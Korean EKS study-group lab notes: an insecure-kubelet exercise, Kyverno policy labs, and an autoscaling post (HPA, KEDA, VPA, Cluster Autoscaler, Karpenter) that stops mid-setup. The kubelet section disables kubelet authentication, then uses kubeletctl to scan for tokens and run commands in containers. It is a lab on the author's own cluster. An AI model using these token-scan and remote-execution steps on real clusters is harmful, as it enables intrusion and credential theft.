kubectl exec -it myawscli -- aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager
## Bastion 2
# 기존 kubeconfig 삭제
rm -rf ~/.kube
# 다운로드
curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
kubeletctl version
kubeletctl help
# 노드1 IP 변수 지정
N1=<각자 자신의 노드1의 PrivateIP>
N1=192.168.1.81
# 노드1 IP로 Scan
kubeletctl scan --cidr $N1/32
# 노드1에 kubelet API 호출 시도
curl -k https://$N1:10250/pods; echo
Unauthorized
## Bastion 1
# 노드1 접속
ssh ec2-user@$N1
-----------------------------
# 미흡한 인증/인가 설정으로 변경
sudo vi /etc/kubernetes/kubelet/kubelet-config.json
...
"authentication": {
"anonymous": {
"enabled": true
...
},
"authorization": {
"mode": "AlwaysAllow",
...
# kubelet restart
sudo systemctl restart kubelet
systemctl status kubelet
-----------------------------
## Bastion 2 test
# 파드 목록 확인
curl -s -k https://$N1:10250/pods | jq
# kubelet-config.json 설정 내용 확인
curl -k https://$N1:10250/configz | jq
# kubeletct 사용
# Return kubelet's configuration
kubeletctl -s $N1 configz | jq
# Get list of pods on the node
kubeletctl -s $N1 pods
# Scans for nodes with opened kubelet API > Scans for for all the tokens in a given Node
kubeletctl -s $N1 scan token
# 단, 아래 실습은 워커노드1에 myawscli 파드가 배포되어 있어야 실습이 가능. 물론 노드2~3에도 kubelet 수정하면 실습 가능함.
# kubelet API로 명령 실행 : <네임스페이스> / <파드명> / <컨테이너명>
curl -k https://$N1:10250/run/default/myawscli/my-aws-cli -d "cmd=aws --version"
# Scans for nodes with opened kubelet API > remote code execution on their containers
kubeletctl -s $N1 scan rce
# Run commands inside a container
kubeletctl -s $N1 exec "/bin/bash" -n default -p myawscli -c my-aws-cli
--------------------------------
export
aws --version
aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager
exit
--------------------------------
# Return resource usage metrics (such as container CPU, memory usage, etc.)
kubeletctl -s $N1 metrics
5. Kyverno
무엇보다 Kyverno에 대한 부분은 처음 보는 부분이어서 이번 스터디에서 많은 도움이 된 부분이라고 생각한다. 정책 기반으로 리소스를 관리하는 오픈 소스 프로젝트로, EKS와 어떻게 맞물려 동작하는지 프로메테우스 및 그라파나에서 메트릭을 확인도 가능하니 정책 기반으로 보안을 관리하는 데 있어 매우 유용하리라 생각한다.
# 설치
# EKS 설치 시 참고 https://kyverno.io/docs/installation/platform-notes/#notes-for-eks-users
# 모니터링 참고 https://kyverno.io/docs/monitoring/
cat << EOF > kyverno-value.yaml
config:
resourceFiltersExcludeNamespaces: [ kube-system ]
admissionController:
serviceMonitor:
enabled: true
backgroundController:
serviceMonitor:
enabled: true
cleanupController:
serviceMonitor:
enabled: true
reportsController:
serviceMonitor:
enabled: true
EOF
kubectl create ns kyverno
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --version 3.2.0-rc.3 -f kyverno-value.yaml -n kyverno
# 확인
kubectl get all -n kyverno
kubectl get crd | grep kyverno
kubectl get pod,svc -n kyverno
# (참고) 기본 인증서 확인 https://kyverno.io/docs/installation/customization/#default-certificates
# step-cli 설치 https://smallstep.com/docs/step-cli/installation/
wget https://dl.smallstep.com/cli/docs-cli-install/latest/step-cli_amd64.rpm
sudo rpm -i step-cli_amd64.rpm
#
kubectl -n kyverno get secret
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\.crt}' | base64 -d
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\.crt}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
Subject: *.kyverno.svc
Issuer: *.kyverno.svc
Valid from: 2024-04-07T06:05:52Z
to: 2025-04-07T07:05:52Z
#
kubectl get validatingwebhookconfiguration kyverno-policy-validating-webhook-cfg -o jsonpath='{.webhooks[0].clientConfig.caBundle}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
Subject: *.kyverno.svc
Issuer: *.kyverno.svc
Valid from: 2024-04-07T06:05:52Z
to: 2025-04-07T07:05:52Z
Validation 실습
# 모니터링
watch -d kubectl get pod -n kyverno
# ClusterPolicy 적용
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-labels
spec:
validationFailureAction: Enforce
rules:
- name: check-team
match:
any:
- resources:
kinds:
- Pod
validate:
message: "label 'team' is required"
pattern:
metadata:
labels:
team: "?*"
EOF
# 확인
kubectl get validatingwebhookconfigurations
kubectl get ClusterPolicy
NAME ADMISSION BACKGROUND VALIDATE ACTION READY AGE MESSAGE
require-labels true true Enforce True 12s Ready
# 디플로이먼트 생성 시도
kubectl create deployment nginx --image=nginx
error: failed to create deployment: admission webhook "validate.kyverno.svc-fail" denied the request:
resource Deployment/default/nginx was blocked due to the following policies
require-labels:
autogen-check-team: 'validation error: label ''team'' is required. rule autogen-check-team
failed at path /spec/template/metadata/labels/team/'
# 디플로이먼트 생성 시도
kubectl run nginx --image nginx --labels team=backend
kubectl get pod -l team=backend
# 확인
kubectl get policyreport -o wide
NAME KIND NAME PASS FAIL WARN ERROR SKIP AGE
e1073f10-84ef-4999-9651-9983c49ea76a Pod nginx 1 0 0 0 0 29s
kubectl get policyreport e1073f10-84ef-4999-9651-9983c49ea76a -o yaml | kubectl neat | yh
apiVersion: wgpolicyk8s.io/v1alpha2
kind: PolicyReport
metadata:
labels:
app.kubernetes.io/managed-by: kyverno
name: e1073f10-84ef-4999-9651-9983c49ea76a
namespace: default
results:
- message: validation rule 'check-team' passed.
policy: require-labels
result: pass
rule: check-team
scored: true
source: kyverno
timestamp:
nanos: 0
seconds: 1712473900
scope:
apiVersion: v1
kind: Pod
name: nginx
namespace: default
uid: e1073f10-84ef-4999-9651-9983c49ea76a
summary:
error: 0
fail: 0
pass: 1
skip: 0
warn: 0
# 정책 삭제
kubectl delete clusterpolicy require-labels
Mutation 실습
#
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: add-labels
spec:
rules:
- name: add-team
match:
any:
- resources:
kinds:
- Pod
mutate:
patchStrategicMerge:
metadata:
labels:
+(team): bravo
EOF
# 확인
kubectl get mutatingwebhookconfigurations
kubectl get ClusterPolicy
NAME ADMISSION BACKGROUND VALIDATE ACTION READY AGE MESSAGE
add-labels true true Audit True 6m41s Ready
# 파드 생성 후 label 확인
kubectl run redis --image redis
kubectl get pod redis --show-labels
# 파드 생성 후 label 확인 : 바로 위와 차이점은?
kubectl run newredis --image redis -l team=alpha
kubectl get pod newredis --show-labels
# 삭제
kubectl delete clusterpolicy add-labels
Generation 실습
# First, create this Kubernetes Secret in your cluster which will simulate a real image pull secret.
kubectl -n default create secret docker-registry regcred \
--docker-server=myinternalreg.corp.com \
--docker-username=john.doe \
--docker-password=Passw0rd123! \
--docker-email=john.doe@corp.com
#
kubectl get secret regcred
NAME TYPE DATA AGE
regcred kubernetes.io/dockerconfigjson 1 26s
#
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: sync-secrets
spec:
rules:
- name: sync-image-pull-secret
match:
any:
- resources:
kinds:
- Namespace
generate:
apiVersion: v1
kind: Secret
name: regcred
namespace: "{{request.object.metadata.name}}"
synchronize: true
clone:
namespace: default
name: regcred
EOF
#
kubectl get ClusterPolicy
NAME ADMISSION BACKGROUND VALIDATE ACTION READY AGE MESSAGE
sync-secrets true true Audit True 8s Ready
# 신규 네임스페이스 생성 후 확인
kubectl create ns mytestns
kubectl -n mytestns get secret
# 삭제
kubectl delete clusterpolicy sync-secrets
그리고 Kyverno CLI도 있으니 이를 통해 policy를 확인해도 좋을 것 같다.
# Install Kyverno CLI using kubectl krew plugin manager
kubectl krew install kyverno
# test the Kyverno CLI
kubectl kyverno version
kubectl kyverno --help
# 정책 테스트 : --policy-report 옵션은 로컬에서도 리포트 출력을 할 수 있는 기능
kubectl kyverno apply require-probes.yaml --resource nginx.yaml --policy-report
항상 그렇듯이 마지막에 리소스 삭제를 꼭 잊지 말자. 이번에는 testuser IAM에 대해 AWS 웹 관리 콘솔에서 꼭 삭제하도록 한다.
본 게시물은 CloudNet@에서 진행하는AEWS(AmazonEKSWorkshopStudy) 스터디에 참여하며 정리한 내용입니다.
0. EKS Autoscaling 개요 및 실습 환경
이번 실습에서 다루고자 하는 "EKS Autoscaling"에 대해 먼저 알아보자. 쿠버네티스 장점 중 하나인 쿠버네티스 파드 오토스케일링 (링크)은 파드 자체 관점으로 살펴보면 크게 "수평적인 (Horizontal)" 및 "수직적인 (Vertical)" 파드 오토스케일링(Pod Autoscaling)을 위한 2가지로 나누어볼 수 있으며 이를 각각 HPA, VPA라고 부른다. 아래 그림에서와 같이 HPA는 동등한 CPU/메모리 할당이 이루어진 파드 개수를 늘리는 방향으로 이루어지며 VPA는 파드에 할당된 CPU/메모리와 같은 할당량을 늘리는 방식으로 이루어진다.
또한 쿠버네티스 클러스터 전체 관점에서 보면 클러스터 자체를 오토스케일링하는 Cluster Austoscaler (CA/ CAS) 전략도 있다. 이는 워커 노드 사용량이 한계에 도달하여 신규 파드 배포를 수용하지 못할 때 발생하는 상황으로 클러스터 내 워커 노드를 늘리는 방향으로 스케일링이 이루어지는 전략이다.
EKS에서는 Karpenter를 사용하여 클러스터 오토스케일링 전략을 적용할 수 있다. Karpenter가 클러스터에 설치되면 Karpenter는 예약되지 않은 파드의 전체 리소스 요청을 관찰하고 새 노드를 시작하고 종료하는 결정을 내림으로써 예약 대기 시간과 인프라 비용을 줄인다. 이를 위해 Karpenter는 Kubernetes 클러스터 내의 이벤트를 관찰한 다음 Amazon EC2와 같은 컴퓨팅 서비스에 전송을 하는 방식으로 동작한다 (Amazon EC2 뿐만 아니라 다른 클라우드 환경도 지원하는 오픈 소스라고 한다).
이번 실습 역시 지난 실습 (링크)에서 전제된 2가지(Route 53: 외부 도메인에 대한 Zone 설정, Certificate Manager (ACM): 해당 도메인에 대한 하위 도메인 모두를 허용하는 * 인증서)가 준비되어야 실습이 가능하다.
이후 지난 번 실습과 동일하게 3개 워커 노드에 대한 IP 주소를 가져와 환경 변수에 저장하고, kube-ops-view 설치, AWS LB Controller 설치, gp3 스토리지 클래스 생성, 노드 보안그룹 ID 확인까지 동일하게 수행한다.
이후, 지난 번 실습 4번에 언급된 프로메테우스 & 그라파나 설치를 아래 내용을 참고하여 진행해보자. 이번 실습은 EKS Autoscaler인 만큼 프로메테우스를 yaml로 설치할 때 다음 옵션을 활성화하도록 한다. 그라파나는 추천 대시보드: 15757, 17900, 15172를 Import해두도록 하자.
# monitor-values.yaml - "prometheus:" 하위 요소로 "prometheusSpec:" 및 "ingress:"와 동등하게 추가
verticalPodAutoscaler:
enabled: true
그리고 EKS Node Viewer를 설치한다. EKS 클러스터 내 동적 노드 사용량(usage)를 시각화해주는 명령 도구로, Karpenter와의 통합을 시연하기 위해 AWS에서 내부 도구 시작된 도구라고 한다. 다음과 같이 예약된 파드 리소스 요청, 할당 가능한 노드 용량을 표시해준다.
# go 설치
wget https://go.dev/dl/go1.22.1.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
go version
go version go1.22.1 linux/amd64
# EKS Node Viewer 설치 : 약 2분 이상 소요
go install github.com/awslabs/eks-node-viewer/cmd/eks-node-viewer@latest
# [신규 터미널] EKS Node Viewer 접속
cd ~/go/bin && ./eks-node-viewer
혹은
cd ~/go/bin && ./eks-node-viewer --resources cpu,memory
명령 샘플
# Standard usage
./eks-node-viewer
# Display both CPU and Memory Usage
./eks-node-viewer --resources cpu,memory
# Karenter nodes only
./eks-node-viewer --node-selector "karpenter.sh/provisioner-name"
1. HPA - Horizontal Pod Autoscaler
kube-ops-view와 그라파나에서 모니터링을 같이 해보고자 한다. 그라파나의 경우 17125 대시보드를 기반으로 모니터링을 할 예정인데 다음과 같은 diff 사항을 반영하여 17125 대시보드를 수정한 json 파일을 적용하도록 하자.
그 다음, CPU와 메모리 리밋이 명시되어 있는 php-apache.yaml 에 따라 파드를 실행하여 부하를 발생시켜보고자 한다. 먼저 다음과 같이 부하를 발생시킬 준비를 해보자.
# Run and expose php-apache server
curl -s -O https://raw.githubusercontent.com/kubernetes/website/main/content/en/examples/application/php-apache.yaml
cat php-apache.yaml | yh
kubectl apply -f php-apache.yaml
# 확인
kubectl exec -it deploy/php-apache -- cat /var/www/html/index.php
...
# 모니터링 : 터미널2개 사용
watch -d 'kubectl get hpa,pod;echo;kubectl top pod;echo;kubectl top node'
kubectl exec -it deploy/php-apache -- top
# 접속
PODIP=$(kubectl get pod -l run=php-apache -o jsonpath={.items[0].status.podIP})
curl -s $PODIP; echo
준비가 완료되었으니 HPA 생성 및 부하 발생 후 오토스케일링을 테스트해보자.
# Create the HorizontalPodAutoscaler : requests.cpu=200m - 알고리즘
# Since each pod requests 200 milli-cores by kubectl run, this means an average CPU usage of 100 milli-cores.
kubectl autoscale deployment php-apache --cpu-percent=50 --min=1 --max=10
kubectl describe hpa
...
Metrics: ( current / target )
resource cpu on pods (as a percentage of request): 0% (1m) / 50%
Min replicas: 1
Max replicas: 10
Deployment pods: 1 current / 1 desired
...
# HPA 설정 확인
kubectl get hpa php-apache -o yaml | kubectl neat | yh
spec:
minReplicas: 1 # [4] 또는 최소 1개까지 줄어들 수도 있습니다
maxReplicas: 10 # [3] 포드를 최대 5개까지 늘립니다
scaleTargetRef:
apiVersion: apps/v1
kind: Deployment
name: php-apache # [1] php-apache 의 자원 사용량에서
metrics:
- type: Resource
resource:
name: cpu
target:
type: Utilization
averageUtilization: 50 # [2] CPU 활용률이 50% 이상인 경우
# 반복 접속 1 (파드1 IP로 접속) >> 증가 확인 후 중지
while true;do curl -s $PODIP; sleep 0.5; done
# 반복 접속 2 (서비스명 도메인으로 파드들 분산 접속) >> 증가 확인(몇개까지 증가되는가? 그 이유는?) 후 중지 >> 중지 5분 후 파드 갯수 감소 확인
# Run this in a separate terminal
# so that the load generation continues and you can carry on with the rest of the steps
kubectl run -i --tty load-generator --rm --image=busybox:1.28 --restart=Never -- /bin/sh -c "while sleep 0.01; do wget -q -O- http://php-apache; done"
부하를 발생시키면서 점차 오토스케일링이 이루어지는 것을 확인할 수 있었다.
로드가 계속 발생하면서 처음에는 CPU 활용율이 증가하여 파드 확장이 이루어지다가, 파드 개수가 어느 정도 늘어난 다음에는 CPU 사용률이 안정적으로 되어 시간이 계속 지나도 더 이상 파드 확장이 이루어지지 않는 것을 확인할 수 있었다. 이렇게 확인한 다음에는 Ctrl+C를 눌러 반복 부하를 중지하고 조금 기다려보자. 오토스케일링이 이루어져 파드가 1개로 변경된 결과를 확인할 수 있다.
확인 후 다음 명령어 실행을 통해 오브젝트를 삭제하자.
kubectl delete deploy,svc,hpa,pod --all
2. KEDA - Kubernetes based Event Driven Autoscaler
KEDA는 기존에 CPU와 메모리와 같은 메트릭을 기반으로 스케일링 여부를 결정하는 방식과 달리 특정 이벤트를 기반으로 스케일링 여부를 결정할 수 있도록 지원한다.
KEDA 대시보드를 그라파나에 Import한 다음 아래를 실행하여 결과를 확인해보도록 하자.
# KEDA 설치
cat <<EOT > keda-values.yaml
metricsServer:
useHostNetwork: true
prometheus:
metricServer:
enabled: true
port: 9022
portName: metrics
path: /metrics
serviceMonitor:
# Enables ServiceMonitor creation for the Prometheus Operator
enabled: true
podMonitor:
# Enables PodMonitor creation for the Prometheus Operator
enabled: true
operator:
enabled: true
port: 8080
serviceMonitor:
# Enables ServiceMonitor creation for the Prometheus Operator
enabled: true
podMonitor:
# Enables PodMonitor creation for the Prometheus Operator
enabled: true
webhooks:
enabled: true
port: 8080
serviceMonitor:
# Enables ServiceMonitor creation for the Prometheus webhooks
enabled: true
EOT
kubectl create namespace keda
helm repo add kedacore https://kedacore.github.io/charts
helm install keda kedacore/keda --version 2.13.0 --namespace keda -f keda-values.yaml
# KEDA 설치 확인
kubectl get all -n keda
kubectl get validatingwebhookconfigurations keda-admission
kubectl get validatingwebhookconfigurations keda-admission -o=json | kubectl neat | yh
kubectl get crd | grep keda
# keda 네임스페이스에 디플로이먼트 생성
kubectl apply -f php-apache.yaml -n keda
kubectl get pod -n keda
# ScaledObject 정책 생성 : cron
cat <<EOT > keda-cron.yaml
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
name: php-apache-cron-scaled
spec:
minReplicaCount: 0
maxReplicaCount: 2
pollingInterval: 30
cooldownPeriod: 300
scaleTargetRef:
apiVersion: apps/v1
kind: Deployment
name: php-apache
triggers:
- type: cron
metadata:
timezone: Asia/Seoul
start: 00,15,30,45 * * * *
end: 05,20,35,50 * * * *
desiredReplicas: "1"
EOT
kubectl apply -f keda-cron.yaml -n keda
# 그라파나 대시보드 추가
# 모니터링
watch -d 'kubectl get ScaledObject,hpa,pod -n keda'
kubectl get ScaledObject -w
# 확인
kubectl get ScaledObject,hpa,pod -n keda
kubectl get hpa -o jsonpath={.items[0].spec} -n keda | jq
...
"metrics": [
{
"external": {
"metric": {
"name": "s0-cron-Asia-Seoul-00,15,30,45xxxx-05,20,35,50xxxx",
"selector": {
"matchLabels": {
"scaledobject.keda.sh/name": "php-apache-cron-scaled"
}
}
},
"target": {
"averageValue": "1",
"type": "AverageValue"
}
},
"type": "External"
}
# KEDA 및 deployment 등 삭제
kubectl delete -f keda-cron.yaml -n keda && kubectl delete deploy php-apache -n keda && helm uninstall keda -n keda
kubectl delete namespace keda
아래 대시보드 스크린샷과 같이 20분에 end 이벤트가 cron으로부터 발생하여 파드가 종료되었다가, desiredReplicas 개수가 1로 설정되어 있으므로 다시 1개 파드가 재생성된 것을 확인할 수 있었다.
3. VPA - Vertical Pod Autoscaler
다음 코드를 통해 VPA를 먼저 배포한다.
# 코드 다운로드
git clone https://github.com/kubernetes/autoscaler.git
cd ~/autoscaler/vertical-pod-autoscaler/
tree hack
# openssl 버전 확인
openssl version
OpenSSL 1.0.2k-fips 26 Jan 2017
# openssl 1.1.1 이상 버전 확인
yum install openssl11 -y
openssl11 version
OpenSSL 1.1.1g FIPS 21 Apr 2020
# 스크립트파일내에 openssl11 수정
sed -i 's/openssl/openssl11/g' ~/autoscaler/vertical-pod-autoscaler/pkg/admission-controller/gencerts.sh
# Deploy the Vertical Pod Autoscaler to your cluster with the following command.
watch -d kubectl get pod -n kube-system
cat hack/vpa-up.sh
./hack/vpa-up.sh
kubectl get crd | grep autoscaling
kubectl get mutatingwebhookconfigurations vpa-webhook-config
kubectl get mutatingwebhookconfigurations vpa-webhook-config -o json | jq
그 다음 공식 예제를 통해 VPA를 실습해보자. 파드가 실행되면 약 2-3분 뒤에 pod resource.request가 VPA에 의해 수정이 이루어진다고 한다.
# 모니터링
watch -d "kubectl top pod;echo "----------------------";kubectl describe pod | grep Requests: -A2"
# 공식 예제 배포
cd ~/autoscaler/vertical-pod-autoscaler/
cat examples/hamster.yaml | yh
kubectl apply -f examples/hamster.yaml && kubectl get vpa -w
# 파드 리소스 Requestes 확인
kubectl describe pod | grep Requests: -A2
Requests:
cpu: 100m
memory: 50Mi
--
Requests:
cpu: 587m
memory: 262144k
--
Requests:
cpu: 587m
memory: 262144k
# VPA에 의해 기존 파드 삭제되고 신규 파드가 생성됨
kubectl get events --sort-by=".metadata.creationTimestamp" | grep VPA
2m16s Normal EvictedByVPA pod/hamster-5bccbb88c6-s6jkp Pod was evicted by VPA Updater to apply resource recommendation.
76s Normal EvictedByVPA pod/hamster-5bccbb88c6-jc6gq Pod was evicted by VPA Updater to apply resource recommendation.
이 때 CPU와 메모리에 대한 사항은 프로메테우스 다음 메트릭을 통해 직접 모니터링도 가능하며
# 모니터링
kubectl get nodes -w
while true; do kubectl get node; echo "------------------------------" ; date ; sleep 1; done
while true; do aws ec2 describe-instances --query "Reservations[*].Instances[*].{PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output text ; echo "------------------------------"; date; sleep 1; done
# Deploy a Sample App
# We will deploy an sample nginx application as a ReplicaSet of 1 Pod
cat <<EoF> nginx.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-to-scaleout
spec:
replicas: 1
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
service: nginx
app: nginx
spec:
containers:
- image: nginx
name: nginx-to-scaleout
resources:
limits:
cpu: 500m
memory: 512Mi
requests:
cpu: 500m
memory: 512Mi
EoF
kubectl apply -f nginx.yaml
kubectl get deployment/nginx-to-scaleout
# Scale our ReplicaSet
# Let’s scale out the replicaset to 15
kubectl scale --replicas=15 deployment/nginx-to-scaleout && date
# 확인
kubectl get pods -l app=nginx -o wide --watch
kubectl -n kube-system logs -f deployment/cluster-autoscaler
# 노드 자동 증가 확인
kubectl get nodes
aws autoscaling describe-auto-scaling-groups \
--query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" \
--output table
./eks-node-viewer --resources cpu,memory
혹은
./eks-node-viewer
# 디플로이먼트 삭제
kubectl delete -f nginx.yaml && date
# 노드 갯수 축소 : 기본은 10분 후 scale down 됨, 물론 아래 flag 로 시간 수정 가능 >> 그러니 디플로이먼트 삭제 후 10분 기다리고 나서 보자!
# By default, cluster autoscaler will wait 10 minutes between scale down operations,
# you can adjust this using the --scale-down-delay-after-add, --scale-down-delay-after-delete,
# and --scale-down-delay-after-failure flag.
# E.g. --scale-down-delay-after-add=5m to decrease the scale down delay to 5 minutes after a node has been added.
# 터미널1
watch -d kubectl get node
실습을 해보면 노드 개수가 부족하여 파드들이 pending이 일어나다가
해당 파드들을 배포하기 위해 오토스케일링이 일어난 것을 확인할 수 있다.
디플로이먼트 삭제 후 10분 정도 지나면 노드 개수가 축소된다.
이후 리소스를 삭제하도록 하자. 만약 노드 개수가 축소되지 않은 상태에서 리소스를 삭제하면 워커 노드가 4개인 상태로 계속 유지가 되는 만큼 수동으로 2개 변경을 하는 명령어를 실행하도록 하자.
Karpenter는 오픈 소스 노드 수명 주기 관리 솔루션으로 Amazon EC2에서 제공하는 API 레벨과 직접 통신을 하여 수 초만에 컴퓨팅 리소스를 제공하는 이점을 제공한다.
Karpenter 버전이 0.2x 에서 0.3x로 2023년 10월 경 변경되었는데 (링크), 여러 문법 변화가 있는 부분이 있기에 참고하도록 하자.
실습을 위해 기존 EKS 클러스터인 myeks가 완전히 삭제된 이후에 아래 스크립트를 참고하여 실행하도록 하자. myeks2라는 새로운 배포 환경을 사전에 준비한 다음, Karpenter 배포를 위한 환경 준비 및 클러스터 생성, kube-ops-view, Karpenter 설치까지를 진행한다.
# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/karpenter-preconfig.yaml
# CloudFormation 스택 배포
aws cloudformation deploy --template-file karpenter-preconfig.yaml --stack-name myeks2 --parameter-overrides KeyName=kp-ian SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32 MyIamUserAccessKeyID=`cat ~/.aws/credentials | grep aws_access_key_id | awk '{print $3}'` MyIamUserSecretAccessKey=`cat ~/.aws/credentials | grep aws_secret_access_key | awk '{print $3}'` ClusterBaseName=myeks --region ap-northeast-2
# CloudFormation 스택 배포 완료 후 작업용 EC2 IP 출력
aws cloudformation describe-stacks --stack-name myeks2 --query 'Stacks[*].Outputs[0].OutputValue' --output text
# 작업용 EC2 SSH 접속
ssh -i ~/.ssh/kp-ian.pem ec2-user@$(aws cloudformation describe-stacks --stack-name myeks2 --query 'Stacks[*].Outputs[0].OutputValue' --output text)
# IP 주소 확인 : 172.30.0.0/16 VPC 대역에서 172.30.1.0/24 대역을 사용 중
ip -br -c addr
# EKS Node Viewer 설치 : 현재 ec2 spec에서는 설치에 다소 시간이 소요됨 = 2분 이상
wget https://go.dev/dl/go1.22.1.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
go install github.com/awslabs/eks-node-viewer/cmd/eks-node-viewer@latest
# [터미널1] bin 확인
cd ~/go/bin && ./eks-node-viewer -h
# EKS 배포 완료 후 실행 하자
cd ~/go/bin && ./eks-node-viewer --resources cpu,memory
# 변수 정보 확인
export | egrep 'ACCOUNT|AWS_' | egrep -v 'SECRET|KEY'
# 변수 설정
export KARPENTER_NAMESPACE="kube-system"
export K8S_VERSION="1.29"
export KARPENTER_VERSION="0.35.2"
export TEMPOUT=$(mktemp)
export ARM_AMI_ID="$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2-arm64/recommended/image_id --query Parameter.Value --output text)"
export AMD_AMI_ID="$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2/recommended/image_id --query Parameter.Value --output text)"
export GPU_AMI_ID="$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2-gpu/recommended/image_id --query Parameter.Value --output text)"
export AWS_PARTITION="aws"
export CLUSTER_NAME="${USER}-karpenter-demo"
echo "export CLUSTER_NAME=$CLUSTER_NAME" >> /etc/profile
echo $KARPENTER_VERSION $CLUSTER_NAME $AWS_DEFAULT_REGION $AWS_ACCOUNT_ID $TEMPOUT $ARM_AMI_ID $AMD_AMI_ID $GPU_AMI_ID
# CloudFormation 스택으로 IAM Policy, Role(KarpenterNodeRole-myeks2) 생성 : 3분 정도 소요
curl -fsSL https://raw.githubusercontent.com/aws/karpenter-provider-aws/v"${KARPENTER_VERSION}"/website/content/en/preview/getting-started/getting-started-with-karpenter/cloudformation.yaml > "${TEMPOUT}" \
&& aws cloudformation deploy \
--stack-name "Karpenter-${CLUSTER_NAME}" \
--template-file "${TEMPOUT}" \
--capabilities CAPABILITY_NAMED_IAM \
--parameter-overrides "ClusterName=${CLUSTER_NAME}"
# 클러스터 생성 : myeks2 EKS 클러스터 생성 19분 정도 소요
eksctl create cluster -f - <<EOF
---
apiVersion: eksctl.io/v1alpha5
kind: ClusterConfig
metadata:
name: ${CLUSTER_NAME}
region: ${AWS_DEFAULT_REGION}
version: "${K8S_VERSION}"
tags:
karpenter.sh/discovery: ${CLUSTER_NAME}
iam:
withOIDC: true
serviceAccounts:
- metadata:
name: karpenter
namespace: "${KARPENTER_NAMESPACE}"
roleName: ${CLUSTER_NAME}-karpenter
attachPolicyARNs:
- arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:policy/KarpenterControllerPolicy-${CLUSTER_NAME}
roleOnly: true
iamIdentityMappings:
- arn: "arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:role/KarpenterNodeRole-${CLUSTER_NAME}"
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:bootstrappers
- system:nodes
managedNodeGroups:
- instanceType: m5.large
amiFamily: AmazonLinux2
name: ${CLUSTER_NAME}-ng
desiredCapacity: 2
minSize: 1
maxSize: 10
iam:
withAddonPolicies:
externalDNS: true
EOF
# eks 배포 확인
eksctl get cluster
eksctl get nodegroup --cluster $CLUSTER_NAME
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
eksctl get addon --cluster $CLUSTER_NAME
# default 네임스페이스 적용
kubectl ns default
# 노드 정보 확인
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone
# ExternalDNS
MyDomain=<자신의 도메인>
echo "export MyDomain=<자신의 도메인>" >> /etc/profile
MyDomain=sdndev.link
echo "export MyDomain=sdndev.link" >> /etc/profile
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst < externaldns.yaml | kubectl apply -f -
# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'
kubectl annotate service kube-ops-view -n kube-system "external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain"
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5"
# [터미널1] eks-node-viewer
cd ~/go/bin && ./eks-node-viewer --resources cpu,memory
# k8s 확인
kubectl cluster-info
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone
kubectl get pod -n kube-system -owide
kubectl describe cm -n kube-system aws-auth
# Karpenter 설치를 위한 변수 설정 및 확인
export CLUSTER_ENDPOINT="$(aws eks describe-cluster --name "${CLUSTER_NAME}" --query "cluster.endpoint" --output text)"
export KARPENTER_IAM_ROLE_ARN="arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:role/${CLUSTER_NAME}-karpenter"
echo "${CLUSTER_ENDPOINT} ${KARPENTER_IAM_ROLE_ARN}"
# EC2 Spot Fleet의 service-linked-role 생성 확인 : 만들어있는것을 확인하는 거라 아래 에러 출력이 정상!
# If the role has already been successfully created, you will see:
